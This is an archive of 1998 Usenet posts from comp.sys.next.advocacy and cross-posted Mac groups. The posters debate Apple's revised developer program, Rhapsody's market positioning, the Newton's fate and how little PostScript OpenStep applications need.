nntp://news.primenet.com/comp.sys.next.advocacy
MIME-Version: 1.0
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Brad Hutchings <brad@hutchings-software.com> said:
> they're the most customer focussed
> tools vendor around today. If you have any doubts, spend the $400 to
> become
> a customer, and if you find shortcomings in their product that affect
your
> ability to build yours, submit a meaningful bug or feature request. I
> actually use Metrowerks as a benchmark for how I treat my customers.
Do you remember that great incident on comp.sys.mac.programmer where
someone asked a question about investing in MW stock and first MW Ron
answered (I think) and then the president of Metrowerks answered and then
the BANKER for Metrowerks answered, each independently of the other?
All on a programmer's newsgroup.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Zico" <ZicoKnows@hotmail.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: I try to tell you people...
Date: Fri, 17 Apr 1998 04:00:24 -0400
Organization: All USENET -- http://www.Supernews.com
Message-ID: <6h7506$74b$1@usenet52.supernews.com>
References: <MPG.f9ed5b0eb5d89c29896eb@news.itg.ti.com> <01bd68f3$0ee25ee0$41f0bfa8@davidsul> <6h3tmu$dpg$1@news.digifix.com>
x-no-archive: yes
Scott Anguish wrote in message <6h3tmu$dpg$1@news.digifix.com>...
>On 04/15/98, "NeXT Newbie" wrote:
>>Maybe this is true, but its also true that Adobe has PUBLICLY
>>stated that at this point they have no intention of porting theeir
>>products to rhapsody because "rhapsody is being portrayed as a
>>high end and server os"
>
> Thats not true Stephen..
>
> Adobe didn't make any sort of public statement of the type.
>
> Some representative (unnamed) claimed that they weren't
>looking at it in a MacWeek quote. Hardly a public statement of
>direction from Adobe proper.
It was an Adobe *spokeswoman*. That sounds pretty official.
Certainly Adobe can't be training their spokespeople to just
make things up off the top of their heads.
> Funny, but Adobe has sent folks to the Developer Kitchen for
>training in recent history (say, the last 2 months) according to my
>sources...
Is the Developer Kitchen a Rhapsody-only affair? Whether
it is or it isn't, it would behoove Adobe to at least check
out what's going on with Rhapsody, so that if it *does*
turn out to be an option for them, or for their competitors
on other platforms they'll be ready to take any appropriate
action.
Z
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 17 Apr 1998 09:25:04 GMT
Organization: P & L Systems
Message-ID: <6h775g$58j$4@ironhorse.plsys.co.uk>
References: <joe.ragosta-1404981037440001@wil44.dol.net> <B159020F-6203B@206.165.43.147>
<6h5bfk$58j$2@ironhorse.plsys.co.uk> <01bd699d$3a2001c0$3af0bfa8@davidsul>
<slrn6jcu7s.lbp.sal@panix3.panix.com> <01bd69f7$fbc3e580$40f0bfa8@davidsul>
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Cc: macghod@concentric.net
In <01bd69f7$fbc3e580$40f0bfa8@davidsul> "NeXT Newbie" wrote:
> > I don't think the lack of seeds is *any* impediment to active development
> > of Applications.
>
> Well, lets say I wanted to start developing apps for rhapsody RIGHT NOW.
>
Then you should have Rhapsody already -- if you didn't join the $250 program
seven months ago and sign your NDA, that's your problem.
> Wouldnt it be a bit hard to develop them without Rhapsody? Even if one had
> OPENSTEP 4.2 I would imagine it would be helpful to have rhapsody, dont you
> think?
>
No, not at all. I'd guess that given the choice many developers would be
using OPENSTEP 4.2 (or WebObjects) -- both of which are available without
signing an NDA and without requiring seeds -- rather than Rhapsody.
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: letter to macnn about developer article
Date: 17 Apr 1998 09:44:50 GMT
Organization: P & L Systems
Message-ID: <6h78ai$58j$5@ironhorse.plsys.co.uk>
References: <01bd67ec$731a7b20$2ef0bfa8@davidsul> <6h238g$e1p$1@gaea.omnigroup.com>
<6h53jl$9sp$10@ironhorse.plsys.co.uk> <6h5dl2$fne$3@news01.deltanet.com>
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Cc: scott@eviews.com
In <6h5dl2$fne$3@news01.deltanet.com> Scott Ellsworth wrote:
> 1. We have not heard a firm assurance from Apple that Rhapsody will
> be on the CD mailings available for $200.
>
See below.
> 3. Rhapsody is going to be marketed as a server OS.
>
Not so, at least as far as I'm aware; the official line is that it is most
likely to be adopted first for "servers" and power users.
> 4. Apple unilaterally changed the agreement for developers in mid
> subscription, and took away benefits with clear value. They claim
> to have added a Metrowerks coupon with clear value, but until we see
> it, we cannot know whether this coupon will apply to us, where we did
> have a contract describing the exact benefits of the developer
> program.
>
As far as I can tell they moved everybody up a notch:
"In the case of Associates (who got no tech support, and paid $250, they
were moved to the Select program with no tech support incidents. These
folks get the $100.00 Metrowerks Coupon, so they just were given $100.00.
"In the case of Associates Plus who got a limited number of tech support
incidents, and paid $500, they were moved to the Select program with tech
support incidents. These folks get the $100.00 Metrowerks Coupon, so they
just were given $100.00.
"In the case of Partners, who paid $1500.00, they were moved to the
Premier program. These folks get the $300.00 Metrowerks Coupons and a
pass to WWDC ($1000.00 value), so they just were handed $1300.00."
Now to me that looks like a fair deal -- maybe I'm missing something (serious
question)?
> As a result, we have less assurance that the CD mailing is worth
> the cost than we did when it was cheaper. Jordan Mattson, among
> others, can provide this assurance with the simple statement that
> the release versions of Rhapsody will be available on the CD mailing.
> In my mind, Rhapsody is the future of the MacOS, and so announcements
> regarding its beta and release distribution are very important to
> me, at least.
>
> If Jordon assures us that Rhapsody will make it onto the CD mailing
> disks, I will believe him. While he was reported as saying that
> nobody was charged for the developer subscriptions for the last
> six months, a patently false statement, he is not in charge of
> ADR.
>
He subsequently posted a followup, which you may have missed, apologising for
his error:
"Turns out the checks for the "Associates" level, but not the "Associates
Plus" or "Partners" level have been cashed. My mistake."
> He IS in charge of Rhapsody, so his desires are quite likely
> to manifest.
>
Umm, he's "Senior Partnership & Technology Solutions Manager, Apple Developer
Relations", he's not in charge of Rhapsody!
> Has he been heard to positively state whether release Rhapsody will
> or will not be on the Developer CD mailings?
>
The basic mailings will not include beta, prerelease or seed software, so if
you're talking about early access to Rhapsody, then no, they will not.
However anyone who seriously wanted Rhapsody was already a member of the $250
Associates program, signed their NDA, and has now been bumped up to the
Select program, so they'll be getting prereleases anyway...
Best wishes,
mmalc.
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: The Newton [was Re: Apple developer program]
Date: 17 Apr 1998 01:23:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B15C60A6-226FF@206.165.43.169>
References: <slrn6jdm7b.3u2.sal@panix3.panix.com>
nntp://news.primenet.com/comp.sys.mac.oop.powerplant,
nntp://news.primenet.com/comp.sys.mac.programmer.codewarrior,
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.next.programmer
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
> On 16 Apr 1998 12:26:00 -0700, Lawson English <english@primenet.com>
> wrote:
> >That bid is pretty much dead in the water. Apparently, Apple has asked
> them
> >to pay $50 million just to *license* the NewtonOS, not purchase it.
>
> With the Newton teams gone, and most of the remaing ones sent to other
> areas, could Apple even fulfill a request like that?
>
> I'd be willing to give 5 to 1 odds that the Newt is dead forever.
>
You're likely right, but I'd give those same 5 to 1 odds that a goodly
number of the original team members would quit their current jobs in a
heartbeat if they knew that good money was sitting behind the new NewtonOS
company (Planet Computing?) and would work VERY hard to make NewtonOS work
as a non-Apple technology.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.next.advocacy
Subject: cmsg cancel <3534c134.0@193.15.242.210>
Control: cancel <3534c134.0@193.15.242.210>
Date: 16 Apr 1998 11:52:02 GMT
Organization: BOFH Space Command, Usenet Division
Message-ID: <cancel.3534c134.0@193.15.242.210>
Sender: CatherineW@icarus.com
Article cancelled as EMP/ECP, exceeding a BI of 20.
The "Current Usenet spam thresholds and guidelines" FAQ is available at
http://www.uiuc.edu/ph/www/tskirvin/faqs/spam.html
Please include the X-CosmoTraq header of this message in any correspondence
specific to this spam.
Sick-O-Spam, Spam-B-Gon!
From: Thom McDonald <t.a.mcd@ix.netcom.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: The Newton
Date: Fri, 17 Apr 1998 06:02:25 +0000
Organization: Median Productions
Message-ID: <3536F06A.D23EA427@ix.netcom.com>
References: <slrn6jdm7b.3u2.sal@panix3.panix.com> <B15C60A6-226FF@206.165.43.169>
Mime-Version: 1.0
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Newton isn't entirely dead.
It should be fairly obvious that Apple wants to retain Newton technologies for
incorporating into a 'Lite' Mac OS which will be a Newton/PalmPilot/Windows
CE-like platform. The good things about Newton, like touch-screen operation
and hand-writing recognition will make nice additions to Mac OS.
Of course this wouldn't be a totally public stance because if they got a
really big offer, maybe they wouldn't want to turn it down.
Tom
t.a.mcd@ix.netcom.com
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Europe vs. the US
Date: 17 Apr 1998 12:26:46 GMT
Organization: P & L Systems
Message-ID: <6h7hq6$58j$6@ironhorse.plsys.co.uk>
References: <gmgraves-1304981110530001@sf-usr1-44-172.dialup.slip.net> <B157BF25-96EA9@207.217.155.51>
<ant1411451cbLJLo@om107.acorn.co.uk> <cirby-1404981050430001@pm61-12.magicnet.net>
<6h1r14$ui8$1@nnrp1.dejanews.com> <6h1rq7$os8$7@ns3.vrx.net>
<rmcassid-1504980928170001@dante.eng.uci.edu> <6h566g$58j$1@ironhorse.plsys.co.uk>
<6h4pjr$4rk$1@ns3.vrx.net>
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Cc: maury@remove_this.istar.ca
In <6h4pjr$4rk$1@ns3.vrx.net> Maury Markowitz wrote:
> In <6h566g$58j$1@ironhorse.plsys.co.uk> mmalcolm crawford claimed:
> > Not to make a nationalistic point, but solely out of interest, are you
sure
> > Turing's visit during 1943 didn't have anything to do with Purple? I did
a
> > bit of searching to try to find the answer to this and didn't get
anything
> > conclusive.
>
> Purple was broken before Pearl in '41. Thus, no, not on that visit
anyway.
>
Urgh. Wood. Trees. Brain. In no particular order.
<sigh>
Sorry...
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 17 Apr 1998 12:31:36 GMT
Organization: P & L Systems
Message-ID: <6h7i38$58j$7@ironhorse.plsys.co.uk>
References: <slrn6jc76q.9i.jason@jhste1.dyn.ml.org> <B15BE559-12F47A@207.217.155.43>
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Cc: brad@hutchings-software.com
In <B15BE559-12F47A@207.217.155.43> "Brad Hutchings" wrote:
>>> Instead of screwing with make files, I'm getting products written. When
>>> Metrowerks gets its object code up to par with gcc (and there are
>>> a lot of variables that muddy the comparison anyway), perhaps I'll
>>> just recompile. New version, no big.
> [...]
> While the Linux Luddites are screwing with makefiles, Metrowerks
> users were writing software for MacOS THAT MATTERS!!
>
We use makefiles all the time, writing software for MacOS that hopefully
matters to Apple's future. But we ~never have to write them ourselves
because ProjectBuilder manages them for us. And we're fairly up to date with
gcc.
> Deal with it.
>
Hmm, OK.
Apple just changed the developer program details. Deal with that.
mmalc.
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
Date: 17 Apr 1998 08:14:04 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6h730c$6s$1@ns3.vrx.net>
References: <35356BF6.F3856C5F@nstar.net> <6h4fmh$rom$2@ns3.vrx.net>
<353655F6.E3A@CONVEX.COM> <6h6j2q$91l$1@new-news.cc.brandeis.edu>
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Cc: xray@cs.brandeis.edu
In <6h6j2q$91l$1@new-news.cc.brandeis.edu> Nathan G. Raymond claimed:
> OSF/1 is moot at this point.
How so? It's likely the best (on paper anyway) of the "commercial"
distributions out there. It would get Apple all the things it already wants
- updated Mach, 4.4BSD and POSIX.
> But Linux... listen, repeat after me, Linux is the KERNEL, Linux is the
> KERNEL.
It's also a (or a series of) distributions. Thus MkLinux.
Regardless that's not the issue, mindshare is the issue.
> UNIXes.) Rhapsody is already based on a BSD UNIX, they have ZERO
> incentive to involve Linux over the *BSD family, especially since Linux is
> GNU and GPLed. NPR decided to do a whole little report on how *wonderful*
> Linux is, not mentioning the other free operating systems out there! So
> frustrating.
As I clearly noted my reasons for suggesting Linux had nothing to do with
any technical superiority, in fact I noted that in most ways a OSF/1 basis
would be far better from a technical standpoint.
> (Reports are Apple has gotten permission to integrate the OpenBSD sources
> already, btw.)
Almost certainly not correct and based on a poor understanding of the BSD's
distributions. They are certainly using the BSD-Lites code base, AS DO Open,
Free and Net. I.E., Rhapsody will be another BDS-Lites, Rhapsody will not be
an "OpenBSD" or any other distribution.
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
Date: 17 Apr 1998 08:19:33 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6h73al$6s$3@ns3.vrx.net>
References: <3533C875.52A9@convex.com> <6h14er$hmh@newsb.netnews.att.com>
<6h1r8v$os8$5@ns3.vrx.net> <6h351d$cfh$1@new-news.cc.brandeis.edu>
<slrn6jdkhc.3u2.sal@panix3.panix.com>
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Cc: sal@panix3.panix.com
In <slrn6jdkhc.3u2.sal@panix3.panix.com> Salvatore Denaro claimed:
> Can Apple convince SGI shops to move to Rhapsody rather than NT? Maybe.
> They will need to have top rate OpenGL support (totaly lacking in Rhapsody
> with *NO* annoucements on any support as of yet) And they will need to
> sell QuickTime as more than just a toy for web movies.
The later issue is clearly happening as we speak. As to the former this
appears to be little more than just getting it done (I think). Personally I
think Apple should buy SGI - that would in one swoop get them all of that
customer base and technology in that market just as NeXT did in another.
Whether this market is worth persuing is another issue, but considering that
both Apple and SGI are both fighting for their lives AND EACH OTHER in the 3D
arena, I think they would be better off together.
> Apple can not compare with Sun at the high end. If I need a 5000+ user
> DB system and I need a server, what can Apple sell me? Now compare that
> to HP, IBM, Sun and SGI offerings.
But that market's not worth going after for so many reasons. I doubt
there's 5 million of those types of machines in use now, yet there's about
that many "desktop" Unix stations.
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
Date: 17 Apr 1998 08:16:22 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6h734m$6s$2@ns3.vrx.net>
References: <3533C875.52A9@convex.com> <6h14er$hmh@newsb.netnews.att.com>
<6h1r8v$os8$5@ns3.vrx.net> <6h351d$cfh$1@new-news.cc.brandeis.edu>
<6h2lv1$fbp$1@ns3.vrx.net> <joe.ragosta-1504982003550001@elk35.dol.net>
<slrn6jdjt5.3u2.sal@panix3.panix.com>
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Cc: sal@panix3.panix.com
In <slrn6jdjt5.3u2.sal@panix3.panix.com> Salvatore Denaro claimed:
> 1) Apple does not have any hardware that can compare to the high end
> Sun E10 style hardware,
I don't think that's an issue - the vast majority of Unix appears to be
running on Intel boxes and I have reason to believe that Rhapsody on PPC will
kick arse in comparison. Unix is NOT just a high end OS any more, and it's
that 5 million or so users on low end machines that I'd be interesting in
"turning on" to Rhapsody.
> 2) Apple does not have the support structure to handle that market. NeXT
> did, but just barely.
I don't see how this is an issue. They HAVE the NeXT team, plus more and a
lot more resources in both bodies and cashola.
> 3) Oracle, Informix, SAP, Sybase, PeopleSoft... None of those run on
> Rhapsody and none have been annouced. (Oracle might be there, but they
> have not officaly announced anything)
Again, wrong market.
Maury
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody for the Open minded
Message-ID: <1998041714460300.KAA20455@ladder03.news.aol.com>
Date: 17 Apr 1998 14:46:03 GMT
Organization: AOL http://www.aol.com
References: <slrn6jdmrc.3u2.sal@panix3.panix.com>
Uh, Sal, may want to brush up on your ancient history--Jobs is a not bad C
programmer (though often people joke about his code being riddled with the
comment // magic happens here), and did low/chip level hardware design/hacking
at HP and also freelance for Atari.
Once, he and Wozniak were challenged by Nolan Bushnell to do a better/cheaper
game with a payoff of $1,000 if they could get it under a certain number of
chips, they came close and took $700 for their efforts. This story is in _PC
Roadkill_
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 17 Apr 1998 14:34:05 GMT
Organization: P & L Systems
Message-ID: <6h7p8t$58j$8@ironhorse.plsys.co.uk>
References: <B15BE7A4-137E5A@207.217.155.43> <B15C6235-28491@206.165.43.169>
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Cc: english@primenet.com
In <B15C6235-28491@206.165.43.169> "Lawson English" wrote:
> Brad Hutchings <brad@hutchings-software.com> said:
>
> Do you remember that great incident on comp.sys.mac.programmer where
> someone asked a question about investing in MW stock and first MW Ron
> answered (I think) and then the president of Metrowerks answered and then
> the BANKER for Metrowerks answered, each independently of the other?
>
> All on a programmer's newsgroup.
>
Oooh, gosh. You remember when Greg Andreson, president of AFS answered a
question in comp.sys.next.* And Stan Jirman, president of Caffiene. And Wil
Shipley, president of Omni Group. And...
Best wishes,
mmalc.
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: America vs. Europe: education (was Re: Apple developer program)
Date: Fri, 17 Apr 1998 09:45:12 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1704980945130001@sf-usr1-60-188.dialup.slip.net>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6gecns$f9p$1@news01.deltanet.com> <6gsrle$oop$35@ironhorse.plsys.co.uk> <6gupoo$ogs$1@news3.alpha.net> <ericb-1404981442150001@132.236.171.104> <gmgraves-1504981051040001@sf-usr1-56-184.dialup.slip.net> <35352C35.D0691B0E@trilithon.com> <gmgraves-1504981654340001@sf-usr1-20-148.dialup.slip.net> <ericb-1604981406140001@132.236.171.104>
In article <ericb-1604981406140001@132.236.171.104>, ericb@pobox.com (Eric
Bennett) wrote:
> In article <gmgraves-1504981654340001@sf-usr1-20-148.dialup.slip.net>,
> gmgraves@slip.net (George Graves) wrote:
>
> > In article <35352C35.D0691B0E@trilithon.com>, Henry McGilton
> > <henry@trilithon.com> wrote:
> >
> > > 7) Television. American kids spend an average of 30 hours
> > > per week watching television.
> >
> > Perhaps today's television. I watched a lot of TV when I was a
> > kid too, it didn't seem to do my education any harm.
>
> Did you watch 30 hours per week? (Over 4 hours a *day* ?)
Good question. I simply don't remember.
George Graves
From: merx@pc.chemie.tu-darmstadt.de (Hendrik Merx)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: The Newton [was Re: Apple developer program]
Date: Fri, 17 Apr 1998 19:09:45 +0200
Organization: Darmstadt University of Technology
Message-ID: <merx-1704981909450001@komtur.pc.chemie.tu-darmstadt.de>
References: <ericb-0704981749520001@132.236.171.104> <trumbull-0704981900290001@net44-223.student.yale.edu> <j-jahnke-0704982342480001@192.168.1.3> <352b5da2.0@206.25.228.5> <6gg8il$6v9$1@ha2.rdc1.sdca.home.com> <gmgraves-0804981131450001@sf-pm5-10-74.dialup.slip.net> <6ggmk2$jdl$1@news.digifix.com> <352D4957.84AE1890@alexa.com> <SCOTT.98Apr10103112@slave.doubleu.com> <3533D6C7.95AECD96@milestonerdl.com> <6h0b4v$h5v$3@ns3.vrx.net> <3534C720.3BACAC4@milestonerdl.com> <trev-1504981307100001@nas-sa-p7.usc.net> <Pine.LNX.3.95.980416091640.2344C-100000@fabre.act.qc.ca>
In article <Pine.LNX.3.95.980416091640.2344C-100000@fabre.act.qc.ca>,
Andre-John Mas <ama@fabre.act.qc.ca> wrote:
> One thing that I saw the Newton being useful for is Scientific uses. If
> the Newton had had an adaptor at the top, it would have been great for
> adding scientific sensory equipment for in the field data collection (sure
> this sounds like something out of Star Trek, though so did the mobile
> phone).
It rather sounds like the old HP-41 ;-).
Hendrik
Hendrik Merx
Darmstadt University of Technology
merx@pc.chemie.tu-darmstadt.de
http://www.pc.chemie.tu-darmstadt.de/authors/merx/
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 17 Apr 1998 17:24:40 GMT
Organization: P & L Systems
Message-ID: <6h838o$57p$1@ironhorse.plsys.co.uk>
References: <6gg8il$6v9$1@ha2.rdc1.sdca.home.com> <B1511189-1AF6A@206.165.43.154>
<6ggiu7$auu$1@vixen.cso.uiuc.edu> <352c857a.2678525846@news.u-psud.fr>
<joe.ragosta-0904980645050001@elk33.dol.net> <ericb-0904981707160001@132.236.171.104>
<6gqlb4$oop$26@ironhorse.plsys.co.uk> <ericb-1304982030210001@132.236.171.104>
<6gvkir$oop$41@ironhorse.plsys.co.uk> <ericb-1404981454340001@132.236.171.104>
<6h26d3$oop$50@ironhorse.plsys.co.uk> <ericb-1604981528450001@132.236.171.104>
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Cc: ericb@pobox.com
In <ericb-1604981528450001@132.236.171.104> Eric Bennett wrote:
> BTW, I didn't receive the email you were considering sending me. Did you
> decide not to send it, or is it still bouncing around on a mail server
> somewhere between here and there?
>
I sent it a couple of days ago, and sent another email earlier today:
ericb@pobox.com ?
I'm not aware of anyone else having problems getting email from me (unless
it's that they get too much rather than none at all...)
mmalc.
From: Henry McGilton <henry@trilithon.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: The amount of PS hackery needed - not much!
Date: Fri, 17 Apr 1998 09:58:21 -0700
Organization: Trilithon Research and Trading
Message-ID: <35378A2D.25E089F0@trilithon.com>
References: <3534431D.AD9C2AA6@trilithon.com> <6h680c$is@baldwin.rat.se>
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Joakim Johansson wrote:
* 150.000 lines of code, of which 173 was PS (0.1%)
* 40.000 lines of code, of which 149 was PS (0.3%)
I computed the percentages for the arithmetically
challenged, of which there are many this side of the pond.
Here's some data from three of my applications:
Application Lines of Obj-C/C Lines of PostScript Percentage
--------------------------------------------------------------
PowerCalc 4364 0 0
LabelWorks 18886 163 0.9
MacToPfa 4526 307 6.7
--------------------------------------------------------------
The last app might be considered an anomaly, except of course
by the anti-OpenStep faction who will point to it and say,
"See, we told you you have to be a PostScript wizard to program
in OpenStep". MacToPfa converts Macintosh
fonts to OpenStep-style PFA format. OpenStep requires the
AFM files be present with the font. Many Mac font vendors
either don't supply AFM files at all, or, worse still, the
supplied AFM files are wrong in some manner. I processed all
the fonts from the BMUG CD-ROM, for example, and discovered
that more than half of the AFM files were bogus.
MacToPfa contains PostScript code to generate complete AFM data
from the font. What the app does is convert the Mac font to
PFA format, send the font to the DPS server, and then make a
sequence of PostScript wraps to interrogate the font for
all the information it can supply --- enough to generate a
correct AFM file. In some cases, I had to check the sanity
of data in the font against all the character bounding boxes.
Doing all this work is PostScript intensive --- hence the
unusually large fraction of PostScript code.
This is, though, the exception --- the average OpenStep
application requires little or no (see PowerCalc above)
PostScript code. In LabelWorks, for example, the wraps
draw stroked and filled circles and ellipses, round-corner
boxes, rectangles, lines, arrows, aaaaaaaand, generates
PostNet codes for mailing labels and envelopes, and, in one
panel, draws little thumbnail pages showing the label
layout you selected from the products data. Not bad for
163 lines of PostScript. In fact, if I take out the defineps
and endps and blank lines, there's only 120 lines of "real"
PostScript left over. Big Deal, no?
........ Henry
=============================================================
Henry McGilton | Trilithon Software, and,
Boulevardier, Java Composer | Pacific Research and Trading
-----------------------------+-------------------------------
mailto:henry@trilithon.com | http://www.trilithon.com
=============================================================
From: scott@eviews.com (Scott Ellsworth)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: letter to macnn about developer article
Date: Fri, 17 Apr 98 18:12:05 GMT
Organization: QMS
Message-ID: <6h860p$m10$1@news01.deltanet.com>
References: <01bd67ec$731a7b20$2ef0bfa8@davidsul> <6h238g$e1p$1@gaea.omnigroup.com> <6h78ai$58j$5@ironhorse.plsys.co.uk>
In article <6h78ai$58j$5@ironhorse.plsys.co.uk>, mmalcolm crawford <malcolm@plsys.co.uk> wrote:
>In <6h5dl2$fne$3@news01.deltanet.com> Scott Ellsworth wrote:
>
>> 1. We have not heard a firm assurance from Apple that Rhapsody will
>> be on the CD mailings available for $200.
>>
>See below.
Thank you. Information noted.
>> 3. Rhapsody is going to be marketed as a server OS.
>>
>Not so, at least as far as I'm aware; the official line is that it is most
>likely to be adopted first for "servers" and power users.
That makes more sense. As always, we are in an infoglut, and useful
information can get lost. Clearly, the gearheads are going to want
the new and cool and (hopefully) less crash, faster developing OS as
soon as it can support what they need. I do hope they keep to this -
I need the products I develop under Rhapsody to get to customers as
soon as possible, which means either Yellow Box or Rhapsody being on
thier machines. As long as they recognize the needs, and keep the
eyes on the prize (in other words, keep trying to maxmimize Rhapsody
and Yellow Box penetration), the happier I am.
>> 4. Apple unilaterally changed the agreement for developers in mid
>> subscription, and took away benefits with clear value. They claim
>> to have added a Metrowerks coupon with clear value, but until we see
>> it, we cannot know whether this coupon will apply to us, where we did
>> have a contract describing the exact benefits of the developer
>> program.
>>
>As far as I can tell they moved everybody up a notch:
>
>"In the case of Associates (who got no tech support, and paid $250, they
>were moved to the Select program with no tech support incidents. These
>folks get the $100.00 Metrowerks Coupon, so they just were given $100.00.
>
>"In the case of Associates Plus who got a limited number of tech support
>incidents, and paid $500, they were moved to the Select program with tech
>support incidents. These folks get the $100.00 Metrowerks Coupon, so they
>just were given $100.00.
>
>"In the case of Partners, who paid $1500.00, they were moved to the
>Premier program. These folks get the $300.00 Metrowerks Coupons and a
>pass to WWDC ($1000.00 value), so they just were handed $1300.00."
(The above left intact so that the context survives for a few more
posts.)
>Now to me that looks like a fair deal -- maybe I'm missing something (serious
>question)?
It may be. I am coming at it from the perspective of an Associate,
just to put context on it.
I am assuming you are an Apple developer at present. Go snag the
price lists, and compare to the best mail order prices you can get
from a place you would be willing to buy from. When I did the
comparison, I saw a difference of [mumble, NDA, mumble], which
meant that planned hardware purchases for this year would give me
an expected probable amount of benefit from the hardware purchases.
(Noting, of course, the roughly $75 per $1000 paid to Sacramento via
Apple in sales tax.)
I had planned on waiting until some significantly faster machines
showed up at a certain price point, and I had a guess as to how
those machines would cost, given the current state of list, mail
order, and developer prices. Assuming no substantial changes, I
had an estimate going in, then, of the value of that chunk of the
program. It was somewhat higher than $100.
The new program offers a $100 coupon, which is a clear benefit, but I
do not know the conditions. Until May, when I can read the actual
language, I will not know the real worth. I am perfectly willing to
accept that it has that worth, I just have learned through bitter
experience to await reading the contracts and some history before
really trying to judge value.
Note - a solid $100 is worth more than a nebulous value somewhat
more than $100. It is quite possible that Apple might have not
priced things as I expected, or that the margins would change, so
a solid amount is likely a decent deal, but as I said, I am not yet
in a position to verify it, and so not in a position to know the
exact value. We shall see in May.
..
>> If Jordon assures us that Rhapsody will make it onto the CD mailing
>> disks, I will believe him. While he was reported as saying that
>> nobody was charged for the developer subscriptions for the last
>> six months, a patently false statement, he is not in charge of
>> ADR.
>>
>He subsequently posted a followup, which you may have missed, apologising for
>his error:
>"Turns out the checks for the "Associates" level, but not the "Associates
>Plus" or "Partners" level have been cashed. My mistake."
No problem. I indeed missed this announcement, and appreciate
his contrition.
>> He IS in charge of Rhapsody, so his desires are quite likely
>> to manifest.
>>
>Umm, he's "Senior Partnership & Technology Solutions Manager, Apple Developer
>Relations", he's not in charge of Rhapsody!
My mistake. I had last noted his title from a post on the MrJ list,
but that information seems to have been somewhat out of date.
I still suspect that the TSM might have strong influence, but
that is more based on his survival through a number of purges
and changes at Apple.
Let me rephrase my point, though, since my error may have covered
it. Despite statements that have not always been correct, one can
get a feel for what statements can be believed. Statements by a
product manager or someone enough in the loop to both know the
plan and to be willing to commit are the ones to watch.
If someone very close to Rhapsody and Apple's planning process
says that release versions will make the dev CD mailings, then
it is worth believeing them.
>> Has he been heard to positively state whether release Rhapsody will
>> or will not be on the Developer CD mailings?
>>
>The basic mailings will not include beta, prerelease or seed software, so if
>you're talking about early access to Rhapsody, then no, they will not.
>However anyone who seriously wanted Rhapsody was already a member of the $250
>Associates program, signed their NDA, and has now been bumped up to the
>Select program, so they'll be getting prereleases anyway...
As long as it makes it to release by the time I need to examine the
costs/benefits of renewal. (This happens when you work with
economists :) ) At this point, there is no way to easily to Rhapsody
work without the seeds. Once it ships, it will become possible,
and so the seed access will become far less important. I, for one,
desperately hope that a full Rhapsody release rolls out this year,
since it puts Apple ahead in a lot of technological ways.
I suspect I am not alone - many developers who are clammoring for
seed access are doing it partially because they view Rhapsody as
a key component for future Apple developer surivival, and so are
getting in the process earilier than they would like. Once it hits
release, the need for seeding and prerelease tools will likely drop
back.
Scott
Scott Ellsworth scott@eviews.com
"When a great many people are unable to find work, unemployment
results" - Calvin Coolidge, (Stanley Walker, City Editor, p. 131 (1934))
"The barbarian is thwarted at the moat." - Scott Adams
Date: Fri, 17 Apr 1998 14:35:21 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: I try to tell you people...
Message-ID: <joe.ragosta-1704981435220001@wil68.dol.net>
